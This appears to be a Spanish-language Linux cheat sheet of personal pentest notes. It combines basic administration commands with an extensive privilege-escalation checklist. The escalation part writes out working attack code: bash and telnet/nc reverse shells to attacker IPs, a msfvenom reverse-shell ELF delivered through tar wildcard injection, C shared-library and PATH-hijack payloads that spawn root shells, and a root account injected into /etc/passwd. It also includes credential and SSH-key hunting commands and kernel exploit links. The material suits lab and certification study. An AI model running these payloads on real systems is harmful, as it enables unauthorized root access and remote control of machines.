Linux Main - Índice de Comandos y Herramientas
Índice central de Linux: enlaces a guías de herramientas, acciones de administración, fundamentos, escalada de privilegios y reference.
Linux Main — Índice de Comandos y Herramientas
Enlaces a Guías de Herramientas
grep awk sed tr crunch echo EMACS basic guide find gobuster gpg hydra impacket iptables john linpeas METASPLOIT 🍕 mount ncat netcat nmap openssl proxyChains searchsploit socat ssh tcpdump tmux type-apropos wc wfuzz wireshark wpscan xfreerdp
Acciones
Administrar permisos Administrar procesos Administrar red Administrar servicios Administrar usuarios y grupos Conectar a target Enumerar escalar privilegios Escalar rutas Instalar Software inyectar comandos Mejorar una shell Obtener informacion del sistema operativo Realizar busquedas en linux transferir archivos
Linux Fundamentals
| Command | Description |
|---|---|
who |
Muestra quién está conectado |
uname |
Imprime el nombre del sistema operativo |
apropos <keyword> |
Busca en las descripciones de man pages una palabra clave |
column |
Formatea la entrada en múltiples columnas |
man <tool> |
Abre las man pages de la herramienta |
<tool> -h |
Imprime la página de ayuda de la herramienta |
cat |
Concatena e imprime archivos |
whoami |
Muestra el nombre de usuario actual |
id |
Identidad del usuario (UID/GID/grupos) |
hostname |
Establece o imprime el nombre del host |
pwd |
Directorio de trabajo actual |
ifconfig |
Asigna o muestra la dirección de una interfaz y configura sus parámetros |
ip |
Muestra o manipula routing, dispositivos, interfaces y túneles |
netstat |
Estado de la red |
ss |
Utilidad para investigar sockets |
ps |
Estado de los procesos |
env |
Imprime el entorno o ejecuta un comando con entorno modificado |
lsblk |
Lista dispositivos de bloque |
lsof |
Lista archivos abiertos |
lsusb |
Lista dispositivos USB |
lspci |
Lista dispositivos PCI |
sudo |
Ejecuta un comando como otro usuario |
su |
Solicita credenciales vía PAM y cambia de usuario (por defecto root); luego ejecuta una shell |
useradd |
Crea un usuario nuevo o actualiza la info por defecto |
userdel |
Elimina una cuenta y sus archivos relacionados |
usermod |
Modifica una cuenta |
addgroup |
Agrega un grupo al sistema |
delgroup |
Elimina un grupo del sistema |
passwd |
Cambia la contraseña del usuario |
dpkg |
Instala, elimina y configura paquetes Debian |
apt |
Gestión de paquetes de alto nivel (Debian) |
aptitude |
Alternativa a apt |
snap |
Instala, elimina y configura paquetes snap |
gem |
Package manager de Ruby |
pip |
Package manager de Python |
git |
Sistema de control de revisiones |
systemctl |
Control de servicios y systemd |
journalctl |
Consulta el journal de systemd |
kill |
Envía una señal a un proceso |
bg |
Mueve un proceso al background |
jobs |
Lista procesos en background |
fg |
Trae un proceso al foreground |
curl |
Transfiere datos desde/hacia un servidor |
wget |
Alternativa a curl; descarga vía FTP/HTTP(s) |
ls |
Lista contenidos de directorio |
cd |
Cambia de directorio |
clear |
Limpia la terminal |
touch |
Crea un archivo vacío o actualiza su timestamp |
mkdir |
Crea un directorio |
tree |
Lista un directorio recursivamente |
mv |
Mueve o renombra archivos/directorios |
cp |
Copia archivos/directorios |
nano |
Editor de texto en terminal |
which |
Ruta a un archivo o enlace ejecutable |
find |
Busca archivos en una jerarquía de directorios |
updatedb |
Actualiza la base de datos locate |
locate |
Encuentra archivos usando la base de datos locate |
more |
Paginador de STDOUT o archivos |
less |
Alternativa a more con más funciones |
head |
Imprime las primeras diez líneas de STDOUT o archivo |
tail |
Imprime las últimas diez líneas |
sort |
Ordena el contenido de STDOUT o archivo |
grep |
Filtra resultados que contienen patrones |
cut |
Elimina secciones de cada línea de archivos |
tr |
Reemplaza ciertos caracteres |
awk |
Lenguaje de escaneo y procesamiento de patrones |
sed |
Editor de flujo para filtrar y transformar texto |
wc |
Cuenta líneas, palabras y bytes |
chmod |
Cambia permisos de archivo/directorio |
chown |
Cambia owner y grupo de archivo/directorio |
python3 -m http.server |
Servidor web Python3 en el puerto TCP 8000 |
tee |
Lee stdin, muestra la salida y la guarda en archivos; ejemplo: ls -l | tee file_list.txt |
Managing Hard Disks
hda— discos IDE clásicos.sda— discos SATA/SCSI modernos.- Las particiones dentro de
sdasonsda1,sda2, …
df -h # información básica de discos
fdisk -l # tabla de particiones
lsblk # información de block devices
parted / cfdisk # edición/visualización de particiones
# (parted) print
# (parted) select /dev/sdb
hdparm # parámetros del disco
inetd, xinetd y rlinetd
ps aux | grep "inetd" # inetd corre siempre en background y decide iniciar/detener daemons
rlinetd.confy/etc/rlinetd.d— configuración de rlinetd.- Deshabilitar daemons innecesarios.
- Configurar qué IPs pueden acceder a un daemon.
Orden de Resolución de Nombres
/etc/nsswitch.conf
# Configura el orden y las fuentes de las que el sistema obtiene
# información sobre usuarios, grupos y otros servicios de nombres.
Bootloader — GRUB2
- Archivo principal de configuración (reemplaza
menu.lstde GRUB v1):
/boot/grub/grub.cfg
- Directorio con los scripts que construyen
grub.cfg:
/etc/grub.d
-
00_header— carga la configuración de/etc/default/grub -
05_debian_theme— define colores, fondo, etc. -
10_linux— carga las entradas de menú -
20_memtest86— carga el tester de memoria -
30_os-prober— escanea los discos buscando otros SO -
40_custom— plantilla para entradas de menú manuales -
Archivo con los ajustes del menú de GRUB:
/etc/default/grub
Ejecutar update-grub después de modificarlo.
Samba y Syslog
/etc/samba/smb.conf # configuración de Samba
/etc/rsyslog.conf # configuración de rsyslog
Log de eventos de mail de todas las prioridades a /var/log/mail:
mail.* /var/log/mail
Log de eventos de emergencia (emerg) a todos los usuarios conectados:
*.emerg *
Hardware Information
lscpu # información de CPU
cat /proc/cpuinfo # detalle de CPU
Networking
Interface Information
/sbin/ifconfig -a
cat /etc/network/interfaces
Network Configuration
cat /etc/resolv.conf
cat /etc/networks
iptables -L
dnsdomainname
Monitor Network Communication
lsof -i :8080
grep 80 /etc/services
netstat -natup
last
w
Cached IP and MAC Information
arp -e
route
route -nee
Change IP
ifconfig eth0 192.168.1.115
ifconfig eth0 192.168.1.115 netmask 255.255.255.0 broadcast 192.168.1.255
Shells con Herramientas Integradas
nc -lvp 4444 # Atacante. Entrada (comandos)
nc -lvp 4445 # Atacante. Salida (resultados)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # En el target; usar la IP del atacante
Referencia: https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Dominios de Sockets
- AF_UNIX — comunicación entre procesos de la misma máquina.
- AF_INET / AF_INET6 — comunicación entre procesos a través de la red.
Interactuar con un Socket AF_UNIX
nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1
Herramientas
- Ship: IP address information rápida — https://null-byte.wonderhowto.com/how-to/linux-basics-for-aspiring-hacker-using-ship-for-quick-handy-ip-address-information-0181593/
File Permissions
- Comprobar permisos de
/etc/passwdy/etc/shadow.
find -type f -maxdepth 1 -writable # archivos escribibles
Generar hash de contraseña (MD5):
openssl passwd -1
echo 'joske' | openssl passwd -1 -stdin
Generar hash (SHA-256):
python -c "import crypt; print crypt.crypt('joske')"
sudo -l # comandos ejecutables con sudo
umask # máscara de permisos para archivos nuevos
Important Payloads
- Mempodipper compilado (Ubuntu 11 →
gimmeroot.c).
Exploits de Referencia
- Ubuntu (≤ 18.10) — Dirty Sock: https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html — https://github.com/initstring/dirty_sock/
- Ubuntu 14.04 y 16.04 (CVE-2017-1000112): https://cxsecurity.com/issue/WLB-2018010018
- Linux PAM 1.1.0 (Ubuntu 9.10/10.04) — MOTD File Tampering Privilege Escalation: https://www.exploit-db.com/exploits/14339 — HTB: Beep
overlayfs
- Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) — 'overlayfs' LPE: https://www.exploit-db.com/exploits/37292
- Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) — 'overlayfs' LPE (1): https://www.exploit-db.com/exploits/39166
- Linux Kernel 4.3.3 — 'overlayfs' LPE (2): https://www.exploit-db.com/exploits/39230
Herramientas de Escalada
- unix-privesc-check: https://github.com/pentestmonkey/unix-privesc-check
- linuxprivchecker.py: http://www.securitysift.com/download/linuxprivchecker.py
- LinEnum: https://github.com/rebootuser/LinEnum
Referencias
- Linux LPE via SUID /proc/pid/mem Write: https://git.zx2c4.com/CVE-2012-0056/about/
Escalada de Privilegios — Checklist
Spawn de Shell Interactiva y Entorno
python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z en el host local
echo $TERM
stty -a
stty raw -echo
fg
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm-256color
export SHELL=bash
stty rows <rows> columns <cols>
Restricted bash
perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux
Scripts automatizados
linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
msfconsole: multi/recon/local_exploit_suggester
Check Environment
¿Restricciones sobre carpetas? ¿alguna sin exec o sin suid?
mount -l # flags de montaje (noexec, nosuid…)
cat /etc/fstab # discos sin montar / opciones de montaje
SUID / SGID — Detección
find / -perm -1000 -type d 2>/dev/null # Sticky bit: solo owner/root borra o renombra
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000): corre con el grupo del archivo
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000): corre con el owner del archivo
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID o SUID (búsqueda completa)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
# búsqueda rápida en lugares comunes (/bin, /sbin)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# SUID/SGID, sin symlinks, profundidad 3, sin errores
find / -perm /u=s -user "User name that you are looking for" 2>/dev/null
Archivos Escribibles y sin Dueño
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # dirs world-writable
find /dir -xdev \( -nouser -o -nogroup \) -print # archivos sin owner/group
Escribibles por el Usuario Actual
find / -perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/null
Scripts Modificables
find / -writable -type f -name "*.py" 2>/dev/null # python files escribibles
ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null # Cualquiera
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null # Grupo
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null # Others
find / -readable -type f 2>/dev/null # Legibles por cualquiera
find / -readable -type f -maxdepth 1 2>/dev/null
Servicios Corriendo como Root
ps aux | grep "root"
# /usr/bin/journalctl normalmente no es legible por un usuario → ¿cron job?
Búsqueda de Contraseñas
grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always
Archivos Interesantes
# Archivos modificados en los últimos 5 minutos
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
# Bases de datos SQLite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
# Archivos ocultos
find / -type f -iname ".*" -ls 2>/dev/null
# Scripts en el PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
# Archivos de backup
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Checklist Manual de Escalada (post-LinPEAS)
linpeas.sh es un buen punto de partida — revisar todo lo que lista su salida. Si no aparece nada, los chequeos manuales ayudan:
id
# ¿de qué grupos formas parte? algunos grupos tienen más permisos
ls -la
# revisar archivos del home; usar 'file' para identificar tipos útiles y transferirlos
ls -la /home
# revisar todos los usuarios y sus directorios (.ssh, .mozilla)
sudo -l
# si hay contraseña, ver qué comandos podemos ejecutar como root/otro usuario
# también muestra si LD_PRELOAD está conservado en el entorno
history
# revisar comandos previos
ls -la /var/www/
# si hay directorio web, enumerarlo por completo buscando credenciales
find / -perm -222 -type d 2>/dev/null
# buscar directorios world-writable
find / -type f -iname ".*" -ls 2>/dev/null
# archivos ocultos
find / -type f -user joe 2>/dev/null
# archivos del usuario 'joe'
find / -group userGroup 2>/dev/null
# archivos del grupo 'userGroup'
find / -type f -perm -04000 -ls 2>/dev/null
# archivos con SUID
grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null
# cadenas de contraseñas
find / -perm -u=s -type f 2>/dev/null
# binarios SUID → GTFOBins
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
# claves SSH
cat /etc/exports
# ¿'no_root_squash' en alguna exportación NFS?
# Los binarios SUID poco comunes deben revisarse primero:
# ejecutarlos, entender cómo responden a la entrada (buffer overflow, ret2libc…),
# transferirlos y revertirlos con Ghidra (strings, funciones) o Decompiler Explorer
ls -la /mnt
# ¿hay algo montado?
lsblk
# listar block devices
cat /etc/crontab
# tareas programadas
./pspy64
# procesos en background
# Si hay scripts Python/Bash interesantes: library hijacking, tar wildcard injection
ls -la /etc/update-motd.d/
# ¿banners o archivos MOTD escribibles?
mysql -u root -p
# servicios internos como mysql con contraseñas comunes
env
# variables de entorno específicas (env_keep+=LD_PRELOAD)
# Si un script no es modificable pero su directorio sí:
# crear otro script malicioso en el mismo directorio y un symlink
ss -ltnp
# puertos internos; revisar puertos inusuales
getcap -r / 2>/dev/null
# capabilities
# ¿El target es una imagen Docker? ¿podemos escapar del contenedor?
hostname # hostname aleatorio
ls -la / # presencia de .dockerenv
cat /proc/1/cgroup # rutas con 'docker'
ifconfig # IP del contenedor; 'hostname -i'
# Si estamos en Docker, escaneo de puertos interno con un bash port-scanner
# o ping-sweep del segmento (solo cuando no haya otro vector de escalada):
for i in {1..255}; do (ping -c 1 172.18.0.${i} | grep "bytes from" &); done
# Si hay acceso a MySQL: inyectar código PHP en una tabla y guardarla como archivo
# en el servidor → RCE con curl
# Para pivotar a otras máquinas de la red: sshuttle + ping sweep (THM Holo)
Permisos Débiles — /etc/shadow y /etc/passwd
/etc/shadow legible
Requisito: entender el formato de /etc/passwd y /etc/shadow.
ls -l /etc/shadow # p.ej. -rw-r--rw- 1 root shadow …
- Copiar el usuario deseado y su hash.
unshadowcon el par passwd/shadow.- Crackear con john.
/etc/shadow escribible
mkpasswd -m sha-512 newpasswordhere # genera el hash
# reemplazar el hash del usuario root en /etc/shadow por el generado
/etc/passwd escribible
openssl passwd newpasswordhere # genera el hash
newroot:PasswordGenerada:0:0:root:/root:/bin/bash
su newroot
Sudo -l — Secuencias de Escape de Shell
Para este tipo de escalada usa https://gtfobins.github.io/gtfobins/ftp/#sudo. Hay binarios que, con permisos sudo, se escalan ejecutando !/bin/sh:
sudo vim
:!/bin/sh
Cronjobs
Cronjobs — variable de entorno / PATH
- Identifica un cronjob que puedas editar.
- Localízalo con
locate NombreArchivo. - Reemplaza el contenido del archivo por un reverse shell y ponte en escucha:
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
Cronjobs — script que usa wildcards (tar --checkpoint)
cat /usr/local/bin/compress.sh
# el comando tar corre con wildcard (*) en el home del usuario
tar tiene opciones de línea de comandos que ejecutan comandos arbitrarios vía la funcionalidad de checkpoint (ver GTFOBins tar).
Generar un reverse shell ELF en Kali (ajustar LHOST):
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
Transferir shell.elf a /home/user/ en la víctima (scp o webserver + wget) y hacerlo ejecutable:
chmod +x /home/user/shell.elf
Crear estos dos archivos en /home/user:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
Cuando el cronjob ejecute tar, el wildcard * expande esos nombres; como son opciones válidas de tar, se interpretan como opciones y no como archivos. Escucha:
nc -nvlp 4444
Limpiar tras la escalada:
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf
SUID / SGID
Exploits conocidos
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Buscar el exploit del binario encontrado en https://www.exploit-db.com/.
Shared object injection
- https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-privilege-escalation-by-overriding-shared-library/
- Localizar el archivo SUID.
- Trazar qué shared objects intenta cargar:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
Si intenta cargar un archivo inexistente, se reemplaza esa ruta con un payload:
# -fPIC: Generate Position Independent Code.
# -shared: Generate a shared library.
# -o: Output shared object (en la ruta donde el binario SUID lo busca).
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
SUID/SGID — Variables de entorno: el archivo llama a un servicio
- Tras listar los binarios SUID/SGID, ejecutar
strings. - Si se ve algo como
service start apache2, usar un payload que ejecute una shell root:
// /home/user/tools/suid/service.c
int main() {
setuid(0);
system("/bin/bash -p");
}
gcc -o service exploit.c
PATH=.:$PATH # anteponer '.' para que 'service' resuelva nuestro payload
# ejecutar el binario SUID/SGID que hace la llamada a 'service' → root
Passwords and Keys
History files
Ocurre cuando un usuario escribe su contraseña en un comando y esta se guarda en el history:
cat ~/.*history | less
Config files
Los archivos de configuración suelen requerir guardar contraseñas.
SSH keys
Cuando las claves SSH tienen permisos world-readable, se pueden leer y copiar a la máquina del atacante para hacer SSH al host.
Root Squashing (NFS)
- Verificar permisos:
cat /etc/exports.
En Kali:
sudo su
mkdir /tmp/nfs # dir para montar el NFS del target
mount -o rw,vers=2 IP_TARGET:/tmp /tmp/nfs/ # montar la exportación
# crear un payload/script y darle permisos (chmod +xs)
# ejecutar ese mismo script en la máquina target
Exploitation Techniques
SUID — ¿está fijado el bit en estas aplicaciones?
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
# consultar GTFOBins
# Nmap (versiones 2.02–5.21 con modo interactivo)
nmap -V
nmap --interactive
nmap> !sh
# Vim / vim.tiny
vim.tiny
# ESC → :set shell=/bin/sh → :shell
# find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
# Bash
bash -p
# Less
less /etc/passwd
!/bin/sh
# Nano: modificar /etc/sudoers
# <user> ALL=(ALL) NOPASSWD:ALL
# cp: sobrescribir /etc/passwd con un hash propio
Aplicaciones SUID / SUDO custom
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
strings customapp # scripts, operación, rutas relativas, permisos
- Shared libraries:
stracesobre el SUID para detectar libs inexistentes; compilar una lib en C y colocarla en la ruta faltante — https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
strace /usr/local/bin/customapp 2>&1 | grep -i -E "open|access|no such file"
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
gcc -shared -o /home/user/missing.so -fPIC /home/user/missing.c
-
Symlink attacks: revisar binarios SUID vulnerables (p.ej. nginxroot / CVE-2016-1247).
-
PATH hijacking:
strings /usr/local/bin/suid-env
# si usa ruta relativa
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
# si el binario especifica la ruta completa del servicio, crear una función
# exportada con el mismo nombre y ejecutar el binario
function /usr/sbin/serviceX() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/serviceX
/usr/local/bin/suid-env2
# segundo método (SHELLOPTS=xtrace + PS4)
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
NFS Priv Esc
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb
Linux Capabilities
find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /
getcap -r / 2>/dev/null
# cap_dac_read_search → leer cualquier archivo
# cap_setuid+ep → setuid (escalada directa si el binario lo permite)
MySQL Corriendo como Root
- MySQL 4.x/5.0 (Linux) — User-Defined Function (UDF) Dynamic Library: https://www.exploit-db.com/exploits/1518/
select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');
SSH Bad Keys Attack
Si authorized_keys es legible, buscar la clave pública en debian-ssh (claves predeterminadas de Debian) para recuperar la privada — PayloadsAllTheThings:
https://github.com/g0tmi1k/debian-ssh
LINKS
- https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
Basic Checks
OS Version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Red Hat based
Kernel Version
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
Environment Variables
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
Juicy Files
/etc/*issue
/etc/*release
/proc/version
/etc/profile
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmesg
/var/mail/root
/var/spool/cron/crontabs/root
# PID/ID del proceso actual, corresponde a /etc/passwd para saber qué usuario corre
/proc/self/status
# 'user agents' del proceso; si se tiene acceso puede dar código ejecutable
/proc/self/environ
# ¿algo bloquea el bruteforce?
/etc/pam.d/system-auth
/etc/fail2ban/fail2ban.conf
# OSX / macOS
/etc/fstab
/etc/master.passwd
/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf
/dev/tcp
exec 3<>/dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>
echo -e "GET /<FILENAME> HTTP/1.1\n\n">&3
cat <&3
Filesystem
man hierdescribe la jerarquía del filesystem Linux.- Aunque haya múltiples directorios y mount points, todos forman parte del mismo filesystem.
- La configuración de cómo se montan las particiones vive en
/etc/fstab. mountmonta particiones en distintos mount points.dfmuestra el uso de espacio de las particiones montadas;duel uso de archivos/directorios.- Las rutas absolutas parten de la raíz del filesystem e ignoran el cwd; las relativas parten del cwd.
ls -l file.txtmuestra la última modificación;touch file.txtla actualiza (creando el archivo si no existe).- Para nombres con espacios: escapar con
cat file\ name.txto comillascat "file name.txt".
Globbing
ls file*.txt # archivos de texto que empiezan por 'file'
ls file?.txt # 'file' + un carácter
ls **/*.txt # archivos de texto en subdirectorios
ls file[123].txt # 'file' + '1', '2' o '3'
ls file[a-zA-Z].txt # 'file' + cualquier letra del rango
Links
ln hello.txt hello-hardlink.txt # hard link al inodo; sobrevive al borrado del original
ln -s hello.txt hello-softlink.txt # symlink; se rompe si el recurso se elimina
Compresión y archivado
zip tmp/backup.zip f1.txt f2.txt f3.txt # crear zip
unzip -l tmp/backup.zip # listar contenido
zip -r tmp/backup-dir.zip dir1 dir2 # zip de directorios
tar cvf backup.tar file?.txt dir? # archivar con patrón
tar tvf backup.tar # listar contenido
tar xvf backup.tar # extraer
gzip backup.tar # comprimir
gunzip backup.tar.gz # descomprimir
Búsqueda en el filesystem
find . -name 'file*.txt' # por formato en cwd y subdirectorios
find . -iname 'file*.txt' # case-insensitive
locate file.txt # búsqueda por nombre desde la base de datos